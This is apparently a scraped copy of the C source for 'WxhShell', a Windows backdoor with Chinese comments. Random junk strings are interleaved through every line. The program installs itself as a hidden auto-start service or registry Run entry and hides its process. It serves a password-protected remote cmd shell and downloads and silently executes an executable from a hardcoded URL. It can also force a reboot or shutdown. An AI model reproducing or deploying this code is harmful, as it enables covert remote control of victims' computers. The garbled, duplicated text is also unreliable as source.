V {p g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )fy<P;g g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
~t$mw, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HUD7{6}4 mC%%)F'Zf if (!NtQueryInformationProcess) return 0; <?nB,U +i_'gDy$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vx PDC~3; if(!hProcess) return 0; #?A]v>I;C CF,8f$:2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /bu'6/!` KuU3DTS85Z CloseHandle(hProcess); zL6
\p)y y`\mQ48V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }ty"fI3&iY if(hProcess==NULL) return 0; Vx}Yl&*D DXt]b, HMODULE hMod; o- cj&Cv% char procName[255]; X9DM^tt unsigned long cbNeeded; ?' TA!MR XTIu(f|d_; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JgxE|#*7U L,yA<yrC CloseHandle(hProcess); uT'-B7N (QA-"9v#i, if(strstr(procName,"services")) return 1; // 以服务启动 +p8qsT#7 0zlM.rjEZ return 0; // 注册表启动 j{-mQTSD } wxH(&CB-{ o(?VX`2" // 主模块 E~rs11 int StartWxhshell(LPSTR lpCmdLine) HKq2Js { v; je <DT SOCKET wsl; T_(qN;_ BOOL val=TRUE; 16a_GwfM int port=0; .vCY%0oE struct sockaddr_in door; L"Qh_+ bbfDt^ if(wscfg.ws_autoins) Install(); ~uP
r]# CsJ)Z%4_ port=atoi(lpCmdLine); 7}2sIf[I e{^:/WcYB if(port<=0) port=wscfg.ws_port; P-/XYZ]` Z?!JV_K WSADATA data; {m?K2]]( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ws*~$x?7 L?Kz
P.(t+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xn%l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qx6,>'Qk' door.sin_family = AF_INET; /}h71V! door.sin_addr.s_addr = inet_addr("127.0.0.1"); GI 0x>Z+ door.sin_port = htons(port); oG4w8+N S3j]{pZ(z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ak~=[7Nv closesocket(wsl); 3K=q)| return 1; x.0k%H } zbF:R[) ^yEj]]6 if(listen(wsl,2) == INVALID_SOCKET) { $|`t9-EA/ closesocket(wsl); lWu9/r 1 return 1; TnbGO; } f:x9Y{Y Wxhshell(wsl); T% /xti5$! WSACleanup(); >N+bU{s e>])m3xvn return 0; rW=k%#
p hQd@bN8 } }}4sh5z 4yJ*85e] // 以NT服务方式启动 (T>?8K_d VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FUW(>0x? { xA[Wb' DWORD status = 0; FR@PhMUS DWORD specificError = 0xfffffff; )[@YHE5g !s#'pTZk4 serviceStatus.dwServiceType = SERVICE_WIN32; s2(w#n) serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7yqSt)/U serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~x4{P;y serviceStatus.dwWin32ExitCode = 0; FqT,4SIR serviceStatus.dwServiceSpecificExitCode = 0; =Do3#Xe2V serviceStatus.dwCheckPoint = 0; 7/p J6> serviceStatus.dwWaitHint = 0; jkQt'! F_p3:l hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [9db=$v8$ if (hServiceStatusHandle==0) return; =|qt!gY)Y ]Omb : status = GetLastError(); okK/i if (status!=NO_ERROR) rm5T=fNJ { T!^?d5uW# serviceStatus.dwCurrentState = SERVICE_STOPPED; RpmBP[ serviceStatus.dwCheckPoint = 0; y(bt56 |
z serviceStatus.dwWaitHint = 0; 8xD<A| serviceStatus.dwWin32ExitCode = status; B"?+5A7 serviceStatus.dwServiceSpecificExitCode = specificError; !i~x"1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); g~ppPAH return; 3$96+A^M * } )JY_eG&2Dx
(dLE<\E serviceStatus.dwCurrentState = SERVICE_RUNNING; &*>CPO serviceStatus.dwCheckPoint = 0; dIBKE0` serviceStatus.dwWaitHint = 0; jE?\Yv3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *x*,I,03 } (.@p4q Q- (_i
v N // 处理NT服务事件,比如:启动、停止 *D09P% VOID WINAPI NTServiceHandler(DWORD fdwControl) 7T|J[WO { 'o)ve( switch(fdwControl) /IrR,bvA { 8XS{6< case SERVICE_CONTROL_STOP: AihL>a% serviceStatus.dwWin32ExitCode = 0; qmue!Fv#g serviceStatus.dwCurrentState = SERVICE_STOPPED; ]@ Sc} serviceStatus.dwCheckPoint = 0; "&~?Hzm serviceStatus.dwWaitHint = 0; 5Sm 5jRr { T je o*n^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); |;U}'|6 } #^4>U&? return; MW",r;l<aM case SERVICE_CONTROL_PAUSE: XRz%KVysp serviceStatus.dwCurrentState = SERVICE_PAUSED; T$.-{I break; C+L_61 case SERVICE_CONTROL_CONTINUE: }Pm(oR'KTJ serviceStatus.dwCurrentState = SERVICE_RUNNING; $_URXI break; :9!0Rm case SERVICE_CONTROL_INTERROGATE: 9pl_V
WrQ break; 4I:JaRT
d }; U Qi^udGFD SetServiceStatus(hServiceStatusHandle, &serviceStatus); t6h`WAZV } %!HnGwv- SILvqm // 标准应用程序主函数 Ip7FD9
^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;}>g1&q { {!{7zM%u0C f,`}hFD // 获取操作系统版本 Z$#ZYD OsIsNt=GetOsVer(); g+KzlS[6 GetModuleFileName(NULL,ExeFile,MAX_PATH); Rbj+P;t& Kt4\&l-De // 从命令行安装 z:i X]df if(strpbrk(lpCmdLine,"iI")) Install(); AHMV@o`V VM\Z<}C // 下载执行文件 LL$,<q%(P if(wscfg.ws_downexe) { PgG |7=' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c~L6fvS WinExec(wscfg.ws_filenam,SW_HIDE); )QSt7g|OF } (/x@W` Gs=a(0
0i? if(!OsIsNt) { OJ_2z|f< // 如果时win9x,隐藏进程并且设置为注册表启动 Z1V'NJI+ HideProc(); z?t(+^ StartWxhshell(lpCmdLine); O[hbu ![ } @DQ"vFj6< else !k>H e*M}P if(StartFromService()) Lx:N!RDw // 以服务方式启动 lPFdQ8M StartServiceCtrlDispatcher(DispatchTable); (15Yw9Mv else YqY6\mo // 普通方式启动 >NOYa3 StartWxhshell(lpCmdLine); hRy}G'0 'd.@4 9
return 0;
oRbYna?J } MZP><Je& `Z7ITvF> SAll9W4 R&=GB\`:a =========================================== 0h@%q;g 0)`lx9&h #HnyE+tD zIQc#F6\5 2gD{Fgf@N Bc|x:#`C\{ " :56lzsWUE< |phWK^ #include <stdio.h> (Y.$wMB #include <string.h> uQ%HLL-W/ #include <windows.h> P7x?!71?L #include <winsock2.h> V\M!]Nnxr #include <winsvc.h> <9k}CXv2PK #include <urlmon.h> kz VI: +@],$=aE? #pragma comment (lib, "Ws2_32.lib") &9lc\Y4PY #pragma comment (lib, "urlmon.lib") @H# kvYWmn 4Ig{#}< #define MAX_USER 100 // 最大客户端连接数 @xF8' [< #define BUF_SOCK 200 // sock buffer dYqDL<se/I #define KEY_BUFF 255 // 输入 buffer hL{B9? vK.4JOlRF #define REBOOT 0 // 重启
[aS)<^ #define SHUTDOWN 1 // 关机 h'y@M+c( [rQ(ae #define DEF_PORT 5000 // 监听端口 wIR[2&b 13&>w{S} #define REG_LEN 16 // 注册表键长度 K<L%@[gi #define SVC_LEN 80 // NT服务名长度 ])wMUJWg2 /qq&'}TZP // 从dll定义API :XQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'lRHdD}s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _TN$c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &|{,4V0%A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c+)|o!d .sR&9FH // wxhshell配置信息 z3jzpmz struct WSCFG { y yR8VO{ int ws_port; // 监听端口 _}D?+x,C8 char ws_passstr[REG_LEN]; // 口令 Dw ;vDK int ws_autoins; // 安装标记, 1=yes 0=no oplA'Jgnv char ws_regname[REG_LEN]; // 注册表键名 4p.{G%h char ws_svcname[REG_LEN]; // 服务名 iCSM1W3 char ws_svcdisp[SVC_LEN]; // 服务显示名 YTPmS\ H _ char ws_svcdesc[SVC_LEN]; // 服务描述信息 B*iz+"H char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Isgk int ws_downexe; // 下载执行标记, 1=yes 0=no *pC-`k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q|<?$.FN"8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VaIP ` dUiz5o' }; /~rO2]rZ@ v8k^=A: // default Wxhshell configuration l/UG+7 struct WSCFG wscfg={DEF_PORT, [<fLPa "xuhuanlingzhe", qf=[*ZY 1, pVa|o&, "Wxhshell", +\Mm
(Nd "Wxhshell", UO!6&k>c "WxhShell Service", H$z+gbjJ "Wrsky Windows CmdShell Service", f$W}d0(F; "Please Input Your Password: ", h8-tbHgpb 1, )* nbEZm@ "http://www.wrsky.com/wxhshell.exe", '*ICGKoT "Wxhshell.exe" ?jm2|: }; 8oH54bFp 3<lhoD // 消息定义模块 kZ[yv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ng39D#_) char *msg_ws_prompt="\n\r? for help\n\r#>"; f EiEfu char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +;iesULXn char *msg_ws_ext="\n\rExit."; :(p
rx
char *msg_ws_end="\n\rQuit."; <({eOh5N char *msg_ws_boot="\n\rReboot..."; 2_\|>g| char *msg_ws_poff="\n\rShutdown..."; %` [`I> char *msg_ws_down="\n\rSave to "; +\oHQ=s>}\ molowPI char *msg_ws_err="\n\rErr!"; hJ*E"{xs char *msg_ws_ok="\n\rOK!"; gO%i5 >,Bu^] C char ExeFile[MAX_PATH]; Xl+a@Ggtq int nUser = 0; hPpXB:(-0 HANDLE handles[MAX_USER]; ;k%sKVP int OsIsNt; HPdwx
V y8S6ZtA}2 SERVICE_STATUS serviceStatus; q<uLBaL_]r SERVICE_STATUS_HANDLE hServiceStatusHandle; <~X6D? +<WT$ddK=5 // 函数声明 [f(^vlK int Install(void); ~wg^>!E int Uninstall(void); Q4:r$
& int DownloadFile(char *sURL, SOCKET wsh); 0a%ui2k int Boot(int flag); 9S1V!Jp void HideProc(void); 64>[pZF8 int GetOsVer(void); w&cyGd D5 int Wxhshell(SOCKET wsl); uBkny; void TalkWithClient(void *cs); 7=*k@9 int CmdShell(SOCKET sock); K$GXXE` int StartFromService(void); J+gsmP-_ int StartWxhshell(LPSTR lpCmdLine); :{uUc s(.-bjR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZxPAu% Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ A|*]0, H&IP>8Dk // 数据结构和表定义 :Qp/3(g e SERVICE_TABLE_ENTRY DispatchTable[] = 3A}8? { Du4#\OK {wscfg.ws_svcname, NTServiceMain}, ^Jc0c)* {NULL, NULL} 6b01xu(A[ }; Y1+lk^ =xet+;~ji // 自我安装 Zs|sPatV< int Install(void) ,VsCRp { 13kb~'+&r char svExeFile[MAX_PATH]; z))[Lg HKEY key; 7uNI strcpy(svExeFile,ExeFile); be#"517 ^!Jm/- // 如果是win9x系统,修改注册表设为自启动 IEf^.Z if(!OsIsNt) { )II,HT-LY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *)D*iU& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Awq( RegCloseKey(key); !I/kz }N@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v>!}cB/6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ClZyQ=UAD RegCloseKey(key); ppP?1Il`kb return 0; "TJ^Z! } IfCqezd } o:\a } O^%ace1 else { /k"P4\P`+Q K!gFD // 如果是NT以上系统,安装为系统服务 s7}
)4.vO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); --FtFo if (schSCManager!=0) ,peE' { 1&"1pH SC_HANDLE schService = CreateService 0^Cx`xdX: ( ScKfr schSCManager, tb\pjLB][ wscfg.ws_svcname, 8!>pFVNJf wscfg.ws_svcdisp, 6D(m8 SERVICE_ALL_ACCESS, L"/ato SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6
74X)hB SERVICE_AUTO_START, Qf]!K6eR SERVICE_ERROR_NORMAL, FQ)Ekss~C svExeFile, ".<p R}
qp NULL, e'&{KD,-T NULL, rP4@K%F9jB NULL, 9ksrr{tW NULL, lM,:c.R NULL x&Rp
m<4 );
N&.p\T&t if (schService!=0) TaT&x_v^~a { nCB3d[/B CloseServiceHandle(schService); *?fBmq[j CloseServiceHandle(schSCManager); 1<|I[EI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cEu98nP strcat(svExeFile,wscfg.ws_svcname); cfS]C_6d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nHjwT5Q+Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gMn)<u > RegCloseKey(key); jQ}|]pj+ return 0; sTyGi1 } /^G+vhlf\ } $7YLU{0 CloseServiceHandle(schSCManager); _Y {g5t } rID]!7~ } gHshG;z* {Aw3Itef return 1; RUu'9#fq } nQ~L.V 3om-,gfZ // 自我卸载 .R5z>:A int Uninstall(void) j(JI$ { E}2[Pb)e HKEY key; h+(s/o?\ 7RJW if(!OsIsNt) { < *OF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LL+rdxJO^ RegDeleteValue(key,wscfg.ws_regname); /]&1 XT? RegCloseKey(key); (p!AX<=z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -<=<T@, RegDeleteValue(key,wscfg.ws_regname); Lp=B? H RegCloseKey(key); Q pq0j^\ return 0; {*9i}w|2 } ?]N&H90^5 } Q-5wI$= } bmpB$@ else { e:
tp7w 4 Q2JjBV< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a mgex$ if (schSCManager!=0) N0C5FSH { rC16?RovQ@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -X
\vB if (schService!=0) (eP)>G] { t:7jlD!d if(DeleteService(schService)!=0) { k$!&3Rh CloseServiceHandle(schService); Rw`s O:eZ CloseServiceHandle(schSCManager); CuNHDYQ&3 return 0; Ipx:k+J } ppjrm CloseServiceHandle(schService); nv]64mL3 } [bXZPIz;j CloseServiceHandle(schSCManager); >2/zL.O } mgWtjV 8 } l1S1CS K<tg+(3 return 1; JnDR(s4(E } S\m]z e C2v7( // 从指定url下载文件 H<"j3qt int DownloadFile(char *sURL, SOCKET wsh) _guY%2%yR { (k~c]N)v HRESULT hr; v*LL7b0A char seps[]= "/"; Kw|`y %~ char *token; ZlzFmNe60 char *file; dmO|PswW char myURL[MAX_PATH]; v5o%y:~ char myFILE[MAX_PATH]; ] W_T(C* OHw6#N$\ strcpy(myURL,sURL); 9'M_t Mm5 token=strtok(myURL,seps); d?n~9_9e while(token!=NULL) L z { VbYapPu4b! file=token; _?"J.i token=strtok(NULL,seps); yrX]w3kr% } Lsdu:+- j>iM(8`t1 GetCurrentDirectory(MAX_PATH,myFILE); T5h[{J^ strcat(myFILE, "\\"); =Sq7U^(> strcat(myFILE, file); y8@!2O4 send(wsh,myFILE,strlen(myFILE),0); sBwgl9 send(wsh,"...",3,0); Ih0GzyU*4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^8iy( if(hr==S_OK) ITV}f# return 0; hGeRM4zVZZ else eu=2a> return 1; K2QD&!4/T2 By9/tB } `*a,8M% i]v!o$7 // 系统电源模块 .uP$M(?j int Boot(int flag)
o&zV8DE_v { jX%Q HANDLE hToken; .+<K-'&= TOKEN_PRIVILEGES tkp; {`LV{! f8lww)^,v if(OsIsNt) { e+mD$(h
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +j,;g#d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Syk^7l tkp.PrivilegeCount = 1; nL?B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xqy{=:0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -]e@cevy if(flag==REBOOT) { a/ZfPl0Ns[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '};Xb|msU return 0; g;pFT } -vyC,A else { I
zT%Kq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k8TMdWW return 0; R+\5hI@ >i } .JqIAC~ } .o>QBYpTw/ else { RwE]t$T/ if(flag==REBOOT) { \3l;PY if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZD/!C9:&.0 return 0; ;p/@tr9 } 8c9_=8vw else { &Ru6Yt0W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dz?F,g_ return 0; _?ym,@}# } Z+?j8(:n } 2+enRR~ h5JXKR.1]c return 1; ll#PCgIm
} iAN#TCwLT7 ~4M]SX1z // win9x进程隐藏模块 &e(de$}xt void HideProc(void) _heQ|'( { Wq4?`{ jHd~yCq HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pr2d}~q4{ if ( hKernel != NULL ) ,Y*f] { &^EkM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X7G6y|4;w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {XVSHUtw FreeLibrary(hKernel); eg3{sDv, } (w.B_9# Pw")|85 return; l6&R
g- } U5klVl #&2mu // 获取操作系统版本 DeUDZL%/ int GetOsVer(void) ((y+FJH { A1|:$tED+2 OSVERSIONINFO winfo; 'g#))y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'D1@+FFU0 GetVersionEx(&winfo); X#J[Nn> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eRGip2^cq+ return 1; f /jN $p else u$0>K,f return 0; Z'EZ PuZ!' } K46\Rm_:B; =Rui // 客户端句柄模块 %spR7J\"/ int Wxhshell(SOCKET wsl) pY2nv/ { xkX,
l{6 SOCKET wsh; m,pDjf struct sockaddr_in client; cv^^NgQ DWORD myID; K1Tzy=Z9j RGiA>Z:W while(nUser<MAX_USER) DI*xf
Kt { xTe?* int nSize=sizeof(client); MW p^. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *P_TG"^{W if(wsh==INVALID_SOCKET) return 1; 4'{j'kuv ]Z~H9!%t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6gp3n;D if(handles[nUser]==0) !_]WUQvV? closesocket(wsh); O9opX\9 else _h5@3>b3r nUser++; 5!AzEB } i$ Zhk1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xdjxt?* *bZV4} return 0; %
$
5hC9 } ?^yZVmAo] 2LgRgY{Bl // 关闭 socket ~oOOCB void CloseIt(SOCKET wsh) TfJB; { GE"#.J4z closesocket(wsh); tn p]wZ nUser--; rtY0? ExitThread(0); n&@\[,B } Qd@`jwjS L%<1cE)) // 客户端请求句柄 (ttO
O45 void TalkWithClient(void *cs) Chjth" { ;X\!*Loe NxNz(R
$~ SOCKET wsh=(SOCKET)cs; -tDmzuD6 char pwd[SVC_LEN]; ~_R=2t{u_ char cmd[KEY_BUFF];
|,.glL char chr[1]; {4#'`Eejj int i,j; T9u/|OP B=9|g1e while (nUser < MAX_USER) { |vzGFfRI iLFF "Hs if(wscfg.ws_passstr) { 5^tL# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +lE 9*Gs_$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yaeX-'(Fv[ //ZeroMemory(pwd,KEY_BUFF); k{9s>l~' i=0; 5HmX-+XpK while(i<SVC_LEN) { Xmtq~}K> 7XdLZ4ub // 设置超时 @ij}|k%* fd_set FdRead; 5?QR struct timeval TimeOut; ]F-{)j FD_ZERO(&FdRead); :U?Kwv8 s FD_SET(wsh,&FdRead); Q~uj:A]n< TimeOut.tv_sec=8; Dtelr=/s TimeOut.tv_usec=0; Nk]r2^.z[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [t,7H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W|~Ehg U{HJNftdpm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sHKT]^7 pwd=chr[0]; ca-|G'q if(chr[0]==0xd || chr[0]==0xa) { 1J^{h5?lU pwd=0; -p9|l%W break; g,9o'fs`x } J8(v65 i++; l 4(-yWC$H } #Ey!?Z wz;IKdk[ // 如果是非法用户,关闭 socket Dk8"
H>* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .|cQ0:B[ } 7+@:wX\ kyz_r6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5^[V%4y> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y1f&+y9e s4t>/.;x while(1) { :rwF5 oT.g@kf=H ZeroMemory(cmd,KEY_BUFF); k_$w+Q "<NQ2Vr]5 // 自动支持客户端 telnet标准
5G=2=E j=0; KI#),~nS while(j<KEY_BUFF) { <T<?7SE+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D24@lZ`g~ cmd[j]=chr[0]; YWjw`,EA( if(chr[0]==0xa || chr[0]==0xd) { $Y7q2 cmd[j]=0; < JA5.6<= break; Bxak[>/ } \,lgv j++; Fb
VtyQz } {dhG SM7 r6QNs1f~. // 下载文件 #%Uk}5;- if(strstr(cmd,"http://")) { !3}vl
Y1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); O0c#-K.f if(DownloadFile(cmd,wsh)) pzH N:9r send(wsh,msg_ws_err,strlen(msg_ws_err),0); U!TFFkX[ else ma vc$!y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Rp2 } [@_}BZk else { D8qZh1w%A| 5&\Q0SX(~ switch(cmd[0]) { #8QQZdC8` #GY;., // 帮助 -#|J case '?': { _6(QbY'JV` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *EvnN: break; +QqYf1@F } p.n+m[ // 安装 {w1sv=$+ case 'i': { j[v<xo if(Install()) >y
&9!G send(wsh,msg_ws_err,strlen(msg_ws_err),0); d7qHUx'=z else X~G!{TT_x6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &%$r3ePwc break; 8$BZbj%?hx } ZV$qv=X // 卸载 /9QI^6&SX case 'r': { $ohIdpZLH2 if(Uninstall()) 7lqj" o( send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*[nZV> else 1Y_Cd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A90oX1l break; "(>P= } ,GA2K .:# // 显示 wxhshell 所在路径 8.ll]3)) case 'p': { swntz char svExeFile[MAX_PATH]; 5\A[ra strcpy(svExeFile,"\n\r"); {Ug?k<h7| strcat(svExeFile,ExeFile); ^duNEu0* send(wsh,svExeFile,strlen(svExeFile),0); ,nD:W break; @YHB>rNf(7 } !Y8us" // 重启 d;daYjOm case 'b': { T& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 51u8.%{4 if(Boot(REBOOT)) !U/iY%NE send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]g2Y/\)a else { ]'3e#Cqeh closesocket(wsh); E9!u|&$S ExitThread(0); J]^)vxm3 } Ph'*s{ break; ~q 0)+' } =X'i^Q // 关机 y2bL!Y<s9 case 'd': { !ZPaU11 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a$y=+4L if(Boot(SHUTDOWN)) : " 9F.U send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]L@VpHEj else { -^`]tF`M closesocket(wsh); ] cdKd ) ExitThread(0); o$8v8="p } :UGc6 break; . T6fPEb } q$ (@ // 获取shell L1
1/XpR case 's': { ~ pWbD~aeg CmdShell(wsh); QqA~y$'ut closesocket(wsh); "T|%F D&[ ExitThread(0); !/^i\)j>]( break; *,A?lX,9A } EbZRU65J}O // 退出 8M9 &CsT6 case 'x': { %]S~PKx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /B73|KB+ CloseIt(wsh); 03Pa; n break; g.ty#Z=: } R}'kF63u* // 离开 6Lk<VpAa case 'q': { |r[yMI|VR send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z6F>SL closesocket(wsh); r<,W{Va WSACleanup(); =(Y 1y$ exit(1); n8n(< break; -`x$a&} } JY8wo 5H } Fsv:SL+5 } c+|,qm Hg\+:}k&9 // 提示信息 ]V\qX+K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E$"( :%'v } l=G=J( G } P#H|at Nn5z return; 28>PmH]7 } Ao~ZK[u o_>id^$>B // shell模块句柄 zY6{ OP!# int CmdShell(SOCKET sock) WDc2Qt { 5|&8MGW-$ STARTUPINFO si; b37P[Q3 ZeroMemory(&si,sizeof(si)); (,<&H;,8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iTJSW si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t>p!qKrE'J PROCESS_INFORMATION ProcessInfo; g"gh2#!D char cmdline[]="cmd"; iLiEh2%P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ICwhqH& return 0; 1sKKmtgH } b<o Uy ,&[2z! // 自身启动模式 d:jD int StartFromService(void) yG -1g0 { eq+t% typedef struct 1~/?W^ir { {a-bew DWORD ExitStatus; lIPy)25~ DWORD PebBaseAddress; D.elE: DWORD AffinityMask; `vs=
CYs DWORD BasePriority; Blv!%es ULONG UniqueProcessId; Z
|wM ULONG InheritedFromUniqueProcessId; SJ$N]<d } PROCESS_BASIC_INFORMATION; _X5@%/Vz 9fp@d PROCNTQSIP NtQueryInformationProcess; <>\s#Jf/ P F5;2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pJkaP static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oo sbf#V Y
Y4"r\V HANDLE hProcess; n46A PROCESS_BASIC_INFORMATION pbi; [C 1o9c! ^M36=~j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'ap<]mf2 if(NULL == hInst ) return 0; Fr/3Qp@S ? ->:,I=<~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dm;H0v+Y' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J!r,ktO^U? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ivL}\~L 5y]1v if (!NtQueryInformationProcess) return 0; vowU+Y y+D 3(Bsn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2D|2/ >[ if(!hProcess) return 0; Omy4Rkj8bh b=[gK|fu if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `;Qw/xl_N t<S]YA~N' CloseHandle(hProcess); W'2T7ha Es za{z2#aJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Us4J[MW< if(hProcess==NULL) return 0; 34S|[PXd
7-a[W HMODULE hMod; ($a ?zJr char procName[255]; zs#s"e:jeR unsigned long cbNeeded; h'Tn&2r6 Q|40
